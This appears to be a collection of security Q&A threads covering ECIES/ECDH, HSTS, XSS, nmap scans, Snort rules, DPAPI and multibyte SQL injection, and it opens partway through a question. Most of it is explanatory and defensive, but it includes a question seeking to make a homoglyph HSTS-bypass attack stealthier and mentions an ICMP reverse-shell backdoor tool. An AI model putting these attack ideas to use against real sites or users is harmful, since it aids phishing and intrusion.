Alice generates a random key (for instance, a 128-bit key)
Alice encrypts the key with Bob's public key
Alice sends the encrypted key to Bob
Bob decrypts the key with his private key
Alice sends the data encrypted with the key generated in point 1; Bob can decrypt it with the key decrypted in point 4

When switching to ECC, however, there is not a real encryption proceedure, but just a key exchange through the Diffie-Hellman protocol. With ECDH if I understood correctly the procedure is

Alice calculates the shared secret
Alice sends the data encrypted with the key calculated in point 1
Bob calculates the shared secret too, and decrypts the message

Now, the second method strongly reminds me of this other question: How secure is static key encryption?

Does the fact that ECDH re-uses the same key (while with RSA key exchange you generate a random one every time) make it less "secure"*? If so, in which cases?

I used the word "secure" on purpose, to indicate a very generic threat; if there are some threat models to which this is vulnerable please indicate it

I just discovered (when writing this question) that there exist a variation of the ECDH which uses ephemeral keys (ECDHE), but I could not understand whether this is similar to RSA key exchange or not. If this protocol is used to change arbitrary keys using ECC, please provide some resources from which learn how they work, or libraries that implement it.

Additional info: if this can narrow down the scope of the question, I'm more interested in embedded systems rather than servers, so my reference point are libraries such as micro-ecc

Your understanding is broadly correct, but in security and especially in cryptography, “broadly correct” often doesn't cut it.

There is a standard for encryption using elliptic curve cryptography to encrypt data, called ECIES (Elliptic Curve Integrated Encryption Scheme). (IES can be used with other key agreement methods, but only elliptic curves give it practical advantages over RSA — faster decryption, smaller keys.) The procedure is as follows.

Alice obtains Bob's public key on the selected elliptic curve.
Alice generates a random key pair on the selected curve.
Alice calculates the shared secret for Bob's key .
Alice passes the shared secret as input to a key derivation function (KDF).
Alice uses the output of the KDF as a key for symmetric authenticated encryption.
Alice sends the resulting authenticated ciphertext and her public key generated at step 2 to Bob.

The KDF step is important because a shared secret generated with ECDH is not uniformly pseudorandom. An attacker may be able to get partial information about it by simple mathematical observations (for example, the shared secret is a number between 1 and N where N is not a power of 2, so the highest bit is biased towards 0), by conducting key agreements with Alice using a series of intelligently-crafted keys, or by observing side channels from the ECDH computation. Partial information about the key can allow a related-key attack on the symmetric cipher. Passing the shared secret to a KDF “scrambles” any mathematical relations in the output.

In RSA-based hybrid encryption, the same symmetric key is never generated twice because it's generated at random. In ECIES, the same symmetric key is never generated twice because it's derived from an elliptic curve key that is generated at random.

The calculation of the shared secret is exactly the ECDH calculation. It's sometimes known as “ephemeral (elliptic curve) Diffie-Hellman” because the private key is single-use. Ephemeral and non-ephemeral Diffie-Hellman are the same algorithm, what “ephemeral” means is that the key is used only once.

From a cryptographic point of view, the output of the KDF can be used to encrypt more than one message. (But always with the same algorithm. Using the same key for two different algorithms, e.g. for both AES-GCM and AES-CCM, or for both AES-GCM and Camellia-GCM, could be anything from a subtle weakness that reduces the security by a bit and a half, to a catastrophic weakness that makes it easy to recover the encrypted message.) After all, if you have a symmetric key, it doesn't matter how you got it. Whether you'd want to do that is an operational matter: how much of a risk is there that Alice or Bob will accidentally leak the symmetric key? How much of a risk is there that Alice will generate the IV incorrectly for the symmetric encryption step? If you aren't worried about these risks then you can treat the symmetric key generated from the shared secret like you'd treat any other shared key, minus the problems of distributing this shared key.

Alice can perform the shared secret generation with the same inputs more than once if she wants: she'll get the same output each time, so that won't provide extra information to an attacker. The danger if Alice reuses the ECDH key is that this creates more risk that the key will leak, either from storage or through side channels.

It's even safe for Alice to use the same key pair to communicate with more than one party.

Just because everything is safe in principle doesn't mean it's a good idea. The more you leave a key lying around, the more risk there is that a partial compromise will reveal this key.

A common reason to reuse the ECDH key is to put it in a high-security piece of hardware that will perform operations with the key but not reveal the key itself: smartcard, secure element, HSM. However, this is useful for Bob, not for Alice. Bob needs to somehow send his public key to Alice in a way that Alice will trust, and after that he needs to hold on to the key. On the other hand, there is no strong advantage for Alice to reuse her ECDH encryption key, since she'll send the public key as part of the message.

A valid reason to reuse the key is if you have stringent constraints on message length. It lets you save about 65 bytes (size of an uncompressed point representation on a 256-bit curve) can be useful.

Performance, on the other hand, is not a strong reason. Generating an EC key is extremely fast: it's just a uniform bit string of the right length (this is unlike RSA where key generation is very expensive). You need to add the time it takes to calculate of the public key, and that's basically the same calculation as the ECDH calculation. So setting up ECIES-like encryption with a stored key instead of generating the key only divides the time of the asymmetric-cryptography part of the computation by two.

Finally, note that even if you reuse the EC key, you can still derive as many symmetric keys as you want. The KDF step takes an optional extra input which can be public. This extra input is variously called a salt, a label, an info string or various other names. You only ever get the same KDF output if both the secret input and the salt are the same.


How to disable typed arrays in firefox as rowhammer mitigation I am concerned about the potential attack surface exposed by JavaScript typed arrays as a means of performing rowhammer attacks.

Is it possible to disable (via official means or otherwise) typed arrays in firefox?

There are no means to disable typed arrays in the browser. Much like you can't disable the use of 'img src' or 'a href' tags in the code.

What you can do however is prevent the execution of javascript via this method.

In Firefox

typed 'about:config' in the address bar
Click "I accept the risk" on the dialogue box that comes up
Type 'javascript.enabled' in the search section
Right click on 'javascript.enabled' and select 'Toggle'
You can then close the tab.

Firefox will not load javascript from then on.


How to Prevent a Specific Trusted Root Cert From Re-Installing After Deletion Due to a recent Google change, one of the SSL certificates for our URL & Content filtering systems keeps throwing an error preventing users from accessing this specific site. The fix is to just delete the certificate which we have been doing but it keeps reinstalling after we delete it. I am assuming when the users desktop reboots, it communicates with the CA server and it installs again. Can I block this specific certificate? The only other fix is to upgrade our URL & Content filter to a new version but we had just finished upgrading to this new version a few weeks ago.

How do we prevent the certificate from installing again after we delete it?

The first step is figuring out how this is happening.

Is the content filtering system pushing the certificate to clients using a set of credentials?
Is the certificate being pushed by GPO?
Is the certificate published in Active Directory? (not the same as a GPO---must check both)
Is there a service/app running on the clients that could be reloading it?

Once you know how the certificate is being distributed, you can look at reconfiguring the distribution method.

Alternatively, you can push the certificate into the Untrusted store via Group Policy, which should prevent clients from using it. This is effectively the same thing as deleting it from Trusted store---in most cases. Obviously, you will need a valid certificate in order for your content filter to work.

Last, but not least: Can you figure your content filter to ignore traffic to the affected site? If its decryption or inspection of that traffic is causing problems, you should be able to whitelist the site so that it is left alone. Most enterprise solutions include this capability.


users avatar names based on Primary Key, is it safe? We upload users avatar with their primary key name. avatars name are 1.jpg,2.jpg,3.jpg,... according to their primary key.
We implemented this to omit avatar field from database, instead with use their primary key to access their photos.
Is it vulnerable or I'm just too sensitive about it?

Assuming (a) primary key isn't a secret in any way and (b) primary key is limited to filename-safe characters (which looks to be the case here as it's numeric), yeah, that's fine.

Naturally there are other security concerns with the content of user-uploaded images as outlined in previous questions.

The only other potential gotcha I can think of if you're moving this from a database BLOB implementation is that the database may be transaction-safe but the filesystem won't be. But as long as your application doesn't fall over when there's an avatar file missing that shouldn't be an issue.


What version did WordPress stop using MD5? I've been trying to find a version of which WordPress stopped using MD5 and started using the Portable PHP password hashing framework. I've been trying to search for a while and found nothing, the closest thing I can find is "WordPress used to use MD5" but I can't pinpoint a version.

If anyone can remember, it would be greatly appreciated.

The easiest way to find these things is often to check the source.

If you go to the GitHub repo and search for the password hashing implementation you'll find it in wp-includes/pluggable.php. Then it's just a matter of looking back through history to find the commit that made the change. The oldest version that commit is tagged with is 2.5.

This is further confirmed by checking the release notes for that version:

  Salted passwords — we now use the phpass library to stretch and salt all passwords stored in the database, which makes brute-forcing them impractical.


TCP timestamps: available to whom? I was told that an adversary can figure out system uptime by looking at TCP timestamps. But I'm not sure who exactly can see this information. For example, if I set up a hardware Tor gateway so that all network traffic from my computer goes through Tor, and browse SE website normally using the computer, will my ISP know my system's uptime? Will SE website know? What about the local network administrator?

TCP timestamps are only visible at the endpoints of the specific TCP connection and on every hop in between. If you are setting up a "hardware" Tor gateway (i.e. some software running on some gateway system) the TCP connection from your systems ends at this gateway. Who can then view the TCP timestamps depends on where this gateway is located. But if it is located inside your local network your ISP will not be able to see the TCP timestamps from your system. He might be able to see the TCP timestamps from your Tor gateway though.


Email headers from messages sent via Gmail online client contain private IP addresses. What are these addresses? Someone has sent a sensitive email from my Gmail account. I wanted to trace the IP address by checking out the Received: by X field in the header of the sent message.

However, every message that is sent from Gmail and that I check the header from has (the same) private IP address in the Received: by X section. The field always looks like this:

Received: by 10.42.43.138 with HTTP; {Date}

Where does this IP come from? Why is this the 'Received by' IP address in all sent messages? Messages sent via email clients (like Apple Mail) do show correct 'Received by' IP addresses. Is this some kind of privacy thing Gmail does?

When reading a raw email message including all of its headers, the Received: headers are best read from bottom to top. Here, I'll show an example of an email I've received on my GMail account

Delivered-To: MYEMAIL@gmail.com
Received: by x.x.x.x with SMTP id xxxxxxxx;
        Tue, 3 Sep 2013 xx:xx:xx -0700 (PDT)
Received: from a.b.c.com (a.b.c.com. [x.x.x.x])
        by mx.google.com with ESMTP id xxx;
        Tue, 03 Sep 2013 xx:xx:xx-0700 (PDT)
Received: from localhost (127.0.0.1) by a.b.c.com id xxx for MYEMAIL@gmail.com>; Tue, 3 Sep 2013 xx:xx:xx +0000 (envelope-from <bounce-xxxxxxxx@c.com>)
From: xxxx<xxxxx@xxxxx.com>
Sender: xxxx <xxxx@a.b.c.com>
Subject: xxxxxxxx

When you want to send an email, you give it to your service provider who will attach the first Received: header, and as the message passes through different relays and mail servers, each one of them attaches its own address until the message reaches its final destination - the recipient's service provider.

So what you're seeing there in the first Received: header is actually GMail's server. That's why you have it in all of your messages, because that's where all the messages end up in your case, in your account on GMail's servers.

Please note that there's really no way to reliably identify the IP address of an email sender. However, Received: header chain can give you some idea.


Is it theoretically possible to deploy backdoors on ports higher than 65535? Assuming you were able to modify the OS/firmware/device for server/client to send and listen on ports higher than 65535, could it be possible to plant a backdoor and have it listen on, say, port 70000?

I guess the real question is this:

If you rebuilt the TCP/IP stack locally on the machine, would the overall concept not work due to how the RFC 793 - Transmission Control Protocol Standard works as mentioned below in some of the answers? Making it impossible to access a service running on a port higher then 65535.

There has been so much talk about hardware and devices having backdoors created that only government have access to for monitoring, and I was just curious if this was possibly one of the ways they were doing it and avoiding detection and being found?

No, the port number field in a TCP header is technically limited to 2 bytes. (giving you 2^16=65536 possible ports)

If you alter the protocol by reserving more bits for higher ports, you're violating the specification for TCP segments and wouldn't be understood by a client. In other words, you're not speaking TCP anymore and the term "port" as in "TCP source/destination port" wouldn't apply. The same limitation exists for UDP ports.

That said, a backdoor could instead communicate over a different protocol than TCP or UDP to obscure its communication. For example, icmpsh is a reverse shell that uses ICMP only. Ultimately, you can also implement your own custom transport-layer protocol using raw sockets that can have its own notion of ports with a greater range than 0-65535.


ECC How to exchange signed and encrypted data With .NET Framework 4.7 the Elliptic Curve Cryptography (ECC) was greatly enhanced:

  The .NET Framework 4.7 has enhanced the functionality available with
  Elliptic Curve Cryptography (ECC). ImportParameters(ECParameters)
  methods were added to the ECDsa and ECDiffieHellman classes to allow
  for an object to represent an already-established key. An
  ExportParameters(bool) method was also added for exporting the key
  using explicit curve parameters.

  The .NET Framework 4.7 also adds support for additional curves
  (including the Brainpool curve suite), and has added predefined
  definitions for ease-of-creation via the new ECDsa.Create(ECCurve) and
  ECDiffieHellman.Create(ECCurve) factory methods.

I'm a .NET Developer who want use ECC with a HSM, thereby some questions emerge.

Assumption

It is not allowed to use the same instance of an EC for signing and encryption
(I read this statement a few times, I'm a developer, not an crypto specialist, so sadly the expertise to understand this in its completeness is missing)

Problem

Alice want to send Bob a signed and encrypted message
Alice has Bobs Public Signature Key (brainpoolP320r1)
Bob has Alices Public Signature Key (brainpoolP320r1)
Alice creates a 'throw-away' Key just for encryption but derive a shared secret with Bobs Public Signature Key Is this not a forbidden reuse of keys?
Alice signed the data with the Signature Key before with the transmitting it

Question

Is the derivation of a shared secret between a EC for signing and a 'throw-away' Key a violation of the assumption not to use a key for signing and encryption?
How is it possible to add plausible deniability? (regarding identifying sender and recipient)

Update

With the feedback you provided, I would use this message format to archive plausible deniability and authentication.

To ensure only Bob can read the message, the message must be encrypted using Bob's public key. To prove that Alice sent the message, it must be signed with Alice's private key.

I.e. if you are using encryption in the context of a message between two parties, use of seperate keys for encryption and signing is a necessity.

If the order is reversed, and the message is signed before it is encrypted, then the signature is also encrypted and hidden to everyone except Bob.


Can someone explain the weird treatment of the OpenSSL AES-256-GCM authentication tag in PHP 7.1? I'm using PHP 7.1 and can successfully encrypt a piece of string, like so:

$key = random_bytes(32);
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-gcm'));
$cipherText = openssl_encrypt(
    'The quick brown fox jumps over the lazy dog.',
    'aes-256-gcm',
     $key,
     OPENSSL_RAW_DATA,
     $iv,
     $tag,
     ''
)

Then, I can decrypt it successfully with:

openssl_decrypt(
    $cipherText,
    'aes-256-gcm',
    $key,
    OPENSSL_RAW_DATA,
    $iv,
    $tag,
    ''
);

However, during testing, I found out that if I decrypt it the following way:

openssl_decrypt(
    $cipherText,
    'aes-256-gcm',
    $key,
    OPENSSL_RAW_DATA,
    $iv,
    mb_substr($tag, 0, mb_strlen($tag) - 15),
    ''
);

I would still get my string perfectly fine. With no surprise, this also happens if I remove data from the authentication tag when in base64url format.

Why does this happen?

According to wikipedia:

  The bit-length of the tag, denoted t, is a security parameter. In general, t may be any one of the following five values: 128, 120, 112, 104, or 96. For certain applications, t may be 64 or 32, but the use of these two tag lengths constrains the length of the input data and the lifetime of the key.

After testing it appears that since openssl_decrypt doesn't allow you to specify an expected tag size it will accept any tag size so long as the tag is valid. Unfortunately it doesn't limit it to 128-96 bits, and if you have even one byte it'll decrypt without errors, meaning that GCM with PHP is mostly broken, as the tag is easily brute-forcable. You can fix this by verifying the tag length before passing it to openssl_decrypt.

I'm not certain whether this is actually a bug with openssl_decrypt or it was intended that tag length would be verified outside the function, but either way the documentation is certainly lacking here.

It appears that Ruby has the exact same issue.


Is KDD CUP methodology sufficient to describe all possible attacks in IPv6? KDD CUP dataset has been used to train IPv4 intrusion detection systems. The attacks are identified with the help of these pre-determined features.

Are these features sufficient to classify the attacks in IPv6? In other words, is KDD CUP methodology sufficient to describe all possible attacks in IPv6? If not, then please specify any attack that won't be detected using the above features.

First I doubt that this dataset is even sufficient to describe all possible attacks at the IPv4 level. This dataset is from 1999 and in the mean time TCP was developed further (for example TCP fast open) or new attacks were discovered (like TCP split handshake).

Apart from that IPv6 is not just not an extension of the address range. The header format is different and it provides different mechanisms for extensions which could be misused in attacks. Also ICMP and ICMPv6 have some significant differences etc.

  please specify any attack that won't be detected using the above features.

This would be too broad. But a simple search will you provide with a wealth of information, for example IPv6- IPv4 Threat Comparison v1.0 where within "Attacks with New Considerations" it also shows attacks new with IPv6.


Bypassing HSTS and Public-key pinning with lookalike characters Using lookalike character symbols to circumvent HSTS and public-key pinning with DNS spoofing via MITM Attack.

Redirect: facebook.com --> faceḃook.com

--

I have seen SSLStrip+ using the technique of adding another "w" to domains {www.facebook.com --> wwww.facebook.com} to circumvent HSTS and public-key pinning. However, this clearly shows a modified address. I feel it would be more clandestine to use lookalike characters to perform DNS spoofing.

In my full conceptualised idea every letter will have a substitutable set of lookalike characters:

a = ａ
b = ḃ
k = κ

Therefore, www.facebook.com --> {www.fａcebook.com, www.faceḃook.com, www.facebooκ.com}
Any of the above three should circumvent HSTS.

I can see mitigations by having HSTS preloading with HSTS no_redirect, this idea of no_redirect would make the browser prevent an HTTP redirect for known HSTS websites.

My question is how can this model of lookalike characters for circumventing HSTS be strengthened for greater clandestine nature. As modern Google Chrome displays "Not Secure" for HTTP web pages, which would be a big red flag.

I can see mitigations by having HSTS preloading with HSTS no_redirect, this idea of no_redirect would make the browser prevent an HTTP redirect for known HSTS websites.

A redirect is done by sending a HTTP response with code 302 or similar and the new location inside the Location header of the HTTP response. If a website is on the HSTS preload list the request for the original domain would already be done with HTTPS. This means that a successful TLS handshake need to be done before the HTTP request inside the TLS connection could be send and the HTTP response with the redirect could be received.

This means that in order to send the redirect the attacker would  need to intercept the initial TLS connection successfully (i.e. MITM attack) by using a trusted certificate and its private key for the domain the user tries to visit. Attempts to do this with some self-signed certificate or certificate not matching the hostname and hope that the user will just skip any certificate warnings will not work since with HSTS no option will be offered to skip certificate problems.

But, if the attacker has already access to such a trusted certificate (maybe by hacking a CA) then there is no need to issue a redirect in the first place, i.e. the attacker could just continue to serve a different HTTP response (with fake content) for the original domain the same as you propose with the redirect.

Thus, the proposed no_redirect attribute for HSTS would not actually provide additional security.


Any threats from isolated subdomain (controlled by hacker)? I have a domain and a subdomain (on the same hosting)  with isolated, jailed directories (no ability to go from one to another) and separate user accounts, as if they were two different domains (has own Control Panels, with full DNS ZONE management):

 example.com        /home/user43239572/
 sub.example.com    /home/other1234567/

I gave subdomain panel to another person (that I dont trust). Is there any chance of any possible security threat from that subdomain?

Based on the few details of this setup and some guess work what you might use this setup for the following problems come to mind:

with local privilege escalation exploit one might break out of the chroot and affect other users on this system.
if used in a web context it is possible to set/override cookies into the others domain and thus change the behavior of the application
similar other restrictions on the main site (like content security policy, CORS...) can be too lax in include the subdomain which might be used in attacks.
depending on the CA and the control the user has over the domain (can change web sites, email...) it might be possible that the user can get a SSL certificate for the subdomain and also for the upper domain too.


What is DOM based XSS? And How to prevent it? I know very well about the classic XSS vulnerabilities such as reflected & stored XSS. I have read a lot about DOM and DOM based XSS vulnerabilities. I came to an inference that there is nothing to do from the server side to prevent DOM based XSS since the attack vectors are never passed to the server side. Then how can we prevent these type of attacks?

Definition taken from OWASP

DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw).


Memory dump from KVM snapshot, possible? When we have a dedicaed server, noone can access to RAM data except the OS (for example Debian what working on).

If someone want to get a RAM dump, without accessing to system, they need to freeze the RAM modules and read after poweroff (they will keep data during some time).

But what about KVM? If we speak about OpenStack KVM, host admin can make a snapshot of my running VM into a single file.

Can he read after raw RAM's data to get the keys/secrets? ECRYPTFS keys for encrypted folders, gnupg2 private keys used recently, certificates, loaded into nginx memory from ecryptfs folder?

KVM is a virtualisation hypervisor.

This means that it requires knowledge of, and the ability to, access all of the guest's memory contents. This allows the hypervisor to suspend, resume, and move a virtual machine as it's running. VMware's ESXi supports such functionality, and again is only possible with access to the guest's memory contents.

Cheat Engine, a tool used to create cheats for single player and multiplayer games on Windows, recently introduced a way to visualize the current system to get at protected memory contents without making anyone else the wiser. It does this with HyperV, yet another hypervisor.

If your data is decrypted "on the fly", the encryption key must be stored somewhere. This is likely system memory for the speed, but does make it vulnerable to those who can inspect memory, such as in the case of a virtual guest OS.


Disable local/KVM access on a Linux VPS (allow only SSH) Friends of mine have previously had issues with VPS security.
The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you when purchasing a VPS.

I've seen flawless server setups fall to their knees because people have broken into the admin panel, and then fired up a local KVM shell.

My question for you, is the following:
Is it possible to limit command line access to SSH sessions only? E.g. Disabling all Local + KVM logins.

I'd much rather the only access to be via key-based SSH logons.

If you're worried about the VPS control panel as a security vulnerability, then your best bet is to block (e.g. firewall off) access to the VPS control panel rather than disabling local login, since there's typically more you can do than just console login.

But yes, you can disable local consoles. They're started up by init; so your configuration for whichever init variant you're running will have the configuration. For example, if you're using classic SysV init, then you'll look in /etc/inittab.


How to autenticate properly in Java I have to write some login module for Java EE application.

Previously i was using JBoss security - provided login and password, called HttpServletRequest with login method and JBoss security did the magic. That authentication uses Hash - SHA.

Right now i'm thinking about salting passwords. I have got jbcrypt library. It provides hashing and checking. But i dont know (mayby yet:) ) how to use it with HttpServletRequest.

And that leads to question what if i simply hash password, and compare it in code with hashedPassword.equals(databasePassword)? Is it bad option comparing to JBoss security?

I want to use BCrypt.checkpw(candidate, hashed) and it can tell me if password is  matched. Can i do that in code or it is better to use HttpServletRequest?

You're better off not rolling your own on this. People that are good at it have been building such features into frameworks and libraries. Here are two that cover that and more:

OWASP Enterprise Security API
https://www.owasp.org/index.php/ESAPI#tab=Home

HDIV
http://www.hdiv.org/

OWASP also offers a wealth of knowledge on web security in general. You can also google for their section on handling passwords if you intend to roll your own anyway. They'll tell you the good and bad from registration to storage to recovery.


OIDC/OAuth2 id_token and it's usage in the client application I've recently migrated my application to use external provider for login so that my application doesn't have to deal with auth and storing user credentials. For this I'm using OpenID Connect (OIDC) over OAuth2 and so the auth flow is quite standard (visit my app -> redirect to OIDC Provider's (OIDCP) login page -> login/grant access -> return to my app with code -> exchange the code for access/id tokens). However, there are few concepts I'm not completely sure I correctly understood.

I'm using the external provider only for authentication (not authorization), yet I receive 2 tokens (access and id tokens). Do I understand correctly that I'd use access token only to get more info about the user via some user info endpoint that the OIDCP offers and I'd only use it if the information in id_token is not enough?
Would I ever use id_token to call some endpoint or is that only some "signed payload" for my app so that my app can get info about the user (i.e. would I ever need to make a request Authorization: Bearer <id_token>?)
Is the id_token meant to be used only once, i.e. I receive it from the OIDCP's token endpoint, extract the identity (i.e. read sub), create a session for the user in my application and then forget about the id_token? Or should I give this token to the user so that whenever he calls an endpoint in my app where I need to know his identity he would pass this token?
If the answer to the previous question is that I should create a session for this user and forget about the id_token then, semantically speaking, should my session respect the exp time of the id_token? In other words, does the exp time only concern the expiration time of the id_token itself or is it a general "recommendation" for my client app to not set session for this user to be longer than this value?

Thanks

Access token is used to grant access to resources for which your external provider is in role of Authorization Server. In this case the UserInfo endpoint is the resource which access is secured by your external provider.
No. You will never do the request with identity token as a Bearer token. But there are requests defined in OpenIDConnect protocole where you can use an id_token as a "hint". The example is authentication request where you sent id_token_hint to point which authenticated (or past authenticated) session was already issued (valid or invalid).
The id_token is issued only for client which requested it (it is called Relying Party). You should not send this token to any other parties (clients or resources). From my experience I have short lived identity tokens (5 minutes). I validate this and confirm the user is correct (extract "sub" and validate the token). If I want to get the user credentials I can also extract those from id_token (only if the identity provider have included those in it) but more often I use UserInfo endpoint to request those with access token. After that I create the application session with all user information. Important is that I store the id_token in some storage (i.e. application session) for usage like I explained earlier.
No. You do not have respect "Exp" of the id_token. Look at my answer on 3. My id token is valid for 5 minutes but session is much longer. I would said that this is "just" a recommendation.

Hope it will help you.


Troubleshooting Snort Rules I am trying to troubleshoot a bunch of flowbits generated by pulledpork from snortrules-snapshot-2990.tar.gz.

WARNING: flowbits key 'file.pdf' is set but not ever checked.

The line in the generated rules files by pulledpork reads:

alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"FILE-PDF pdf file sent via email"; flow:to_server,established; content:"JVBERi0x"; flowbits:set,email.pdf; flowbits:noalert; metadata:service smtp; classtype:policy-violation; sid:15361; rev:5;)

I am trying to fix it by reverting the direction flow and setting the isset bit, but I doubt it works. I don't understand what the preceding line means:

alert tcp $SMTP_SERVERS 25 -> $EXTERNAL_NET any (msg:"FILE-PDF pdf file sent via email"; flow:from_server,established; content:"JVBERi0x"; flowbits:isset,email.pdf; flowbits:noalert; metadata:service smtp; classtype:policy-violation; sid:15361; rev:5;)

There are many instances from $EXTERNAL_NET any -> $SMTP_SERVERS 25 in the rules file that tracks various file attachments that generate flowbits warnings

I don't have any $SMTP_SERVERS in my internal network specified in snort.conf for protection. Do I need to turn off these warnings

Please shed some light on what the first rule means and how to turn off the error.

If you don't set specific ip to $SMTP_SERVERS in the snort.conf, that variable is any. And flowbits works in pairs. For example,

alert tcp any any -> any any (content:"aaa"; flowbits:set, NAMED; flowbits:noalert;) <- session tracking only without alert

alert tcp any any -> any any (content:"bbb"; flowbits:isset, NAMED;) <- check pattern 'bbb' in NAMED session

Refer to http://blog.snort.org/2011/05/resolving-flowbit-dependancies.html


Store password ciphers using Powershell ? DPAPI/AES I am making a script that requires to have a lot of server's IP and their passwords stored in a file.

I wanted to use Windows DPAPI, but as we can easily retrieve the plain text version it is not very good.

I then tried to use AES.
Now my question is: how, using AES, could I store the keys (1 for each IP's ?) so it is possible for the script to decrypt passwords, but difficult for someone un-authorized to read the file containing the passwords?

DPAPI stores protected data encrypted with the user's DPAPI key, which is in turn encrypted with a derivative (via PBKDF2) of the NTLM password. Furthermore, the DPAPI-related key information is stored in a protected memory region within the security subsystem (LSA), making it particularly difficult to compromise the master keys outside of an administrative context.

The two primary concerns in the threat model of DPAPI are offline attacks (e.g. stolen hard-disk) or a malicious user trying to compromise the DPAPI-protected data of another user. Both of these threats are suitably protected against with DPAPI.

Your concern that DPAPI allows for easy recovery of the data is unfounded; the fact that you can recover the information is due to you being logged in as the legitimate user. Logging in as any other user would make this impossible, as would trying to recover the DPAPI-protected data from an offline disk image (unless you know the password of the user who saved the data).

Any solution you implement on your own with AES (or any other cipher) will be less secure in these regards.

That said, if your application's security model involves giving service passwords to your users in an encrypted text file, there's very little to stop them decrypting it and getting at the passwords. This sounds like a candidate for having them authenticate to the backend systems with their own individual user accounts, or having an intermediary service which the users authenticate to which can then make back-end service requests on their behalf.


nmap with sW only give number of ports open but nmap with -sW plus -sV gives different result which says open and tcpwrappeds I have run nmap on an IP which is as follows

nmap -sW -PN <IP>
result Host is up (0.0011s latency).
PORT      STATE SERVICE
1/tcp     open  tcpmux
3/tcp     open  compressnet
4/tcp     open  unknown
6/tcp     open  unknown
7/tcp     open  echo
9/tcp     open  discard
13/tcp    open  daytime
17/tcp    open  qotd
19/tcp    open  chargen
20/tcp    open  ftp-data
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
24/tcp    open  priv-mail
25/tcp    open  smtp
26/tcp    open  rsftp
30/tcp    open  unknown
32/tcp    open  unknown
33/tcp    open  dsp
37/tcp    open  time
42/tcp    open  nameserver
43/tcp    open  whois
49/tcp    open  tacacs
53/tcp    open  domain
70/tcp    open  gopher

but when I run nmap with

nmap -sW -PN -sV <ip>
PORT      STATE SERVICE    VERSION
1/tcp     open  tcpwrapped
3/tcp     open  tcpwrapped
4/tcp     open  tcpwrapped
6/tcp     open  tcpwrapped
7/tcp     open  tcpwrapped
9/tcp     open  tcpwrapped
13/tcp    open  tcpwrapped
17/tcp    open  tcpwrapped
19/tcp    open  tcpwrapped
20/tcp    open  tcpwrapped
21/tcp    open  tcpwrapped
22/tcp    open  tcpwrapped
23/tcp    open  tcpwrapped
24/tcp    open  tcpwrapped
25/tcp    open  tcpwrapped
26/tcp    open  tcpwrapped
30/tcp    open  tcpwrapped
32/tcp    open  tcpwrapped
33/tcp    open  tcpwrapped

I get the above result. In a https://secwiki.org/w/FAQ_tcpwrapped I read that "When a very large number of ports are shown as tcpwrapped, it is unlikely that they represent real services, so the behavior probably means something else like a load balancer or firewall is intercepting the connection requests. " So what should I infer from the above 2 results. Are the ports open on the host OR is the firewall/loadbalancer is intercepting the traffic?

Nmap without -sV (or other options that include service/version detection) makes no effort to determine what sort of service is actually running on a port. Instead, it simply does a lookup against a list of common port/service assignments in order to present a most-likely candidate for the type of service that would be running on ports included in the report.

This is what you're seeing with nmap -sW (for the purposes of this discussion, the -PN is irrelevant). Nmap is giving you a list of all the ports that the Window Scan thinks are open, and telling you what sort of services commonly listen on each port.

However, you should be aware that nmap -sW can be unreliable against targets that don't support the functionality it is designed to exploit. (And targets that do support that functionality are generally rare.) This is mentioned in the Nmap Port Scanning Techniques documentation, and appears to be exemplified by your results. (At least, the small portions you've pasted above - I assume they're truncated.)

The below is copied from the Nmap documentation I referenced above. Emphasis is mine.

  -sW (TCP Window scan)
   [...]
  This scan relies on an implementation detail of a minority of systems out on the Internet, so you can't always trust it. Systems that don't support it will usually return all ports closed. Of course, it is possible that the machine really has no open ports. If most scanned ports are closed but a few common port numbers (such as 22, 25, 53) are filtered, the system is most likely susceptible. Occasionally, systems will even show the exact opposite behavior. If your scan shows 1,000 open ports and three closed or filtered ports, then those three may very well be the truly open ones.

With service & version detection enabled (e.g.: nmap -sW -sV in your examples), Nmap does some extra checks to be more certain of the ports' response states and to determine the type and version of application that's hosted on the open ports. These extra checks are what allow Nmap to provide the "tcpwrapped" determination, instead of just assuming that a responding port is running the service that commonly defaults to that number.

If there are any ports shown beyond the output you've pasted above, which do not report "tcpwrapped" in your nmap -sW -sV scan, it's probable that those are the only ports worth investigating further on the target. However, for more accurate results, you really should be using a different port scanning technique.


Message ID and Real IP of the email sender How I get Real IP of an  email sender using  Message ID   of the said mail?

The Message-ID header can be chosen arbitrarily by the client, so you cannot reliably expect to find the client IP address (if any) encoded in it.

This page lists known behaviour of many email sending softwares; some (e.g. mutt) will encode the full name of the sending machine in the Message-ID, but this is the name as the machine knows it, so it can be "localhost", which is not very informative. Moreover, even if the sending software encoded its known IP address in the header, it would often be a local-only address such as 192.168.1.100 because of the high prevalence of NAT. Finally, many emails nowadays are sent through big Webmail platforms like Gmail, so if you find an IP address in it, it will be the address of a Gmail server, not the address of the client.


Multibyte character exploits - PHP/MySQL Could someone please point me to a link with some information on multibyte character exploits for MySQL? A friend brought them to my attention, but I've not been able to find much information on the Internet.

Summary. Yes, the issue is that, in some character encodings (like UTF-8), a single character is represented as multiple bytes.  One way that some programmers try prevent SQL injection is to escape all single quotes in untrusted input, before inserting it into their SQL query.  However, many standard quote-escaping functions are ignorant of the character encoding that the database will use and process their input as a sequence of bytes, oblivious to the fact that a single character might fill up several bytes.  This means that the quote-escaping function is interpreting the string differently than the database will.  As a result, there are some cases where the quote-escaping function might fail to escape portions of the string that the database will interpret as a multi-byte encoding of a single quote; or might inadvertently break up a multi-byte character encoding in a way that introduces a single quote where one was not previously present.  Thus, multi-byte character exploits give attackers a way to do SQL injection attacks even when the programmer thought they were adequately escaping their inputs to the database.

The impact. If you use prepared/parametrized statements to form all database connections, you are safe.  Multi-byte attacks will fail.  (Barring bugs in the database and the library, of course.  But empirically, those seem to be rare.)

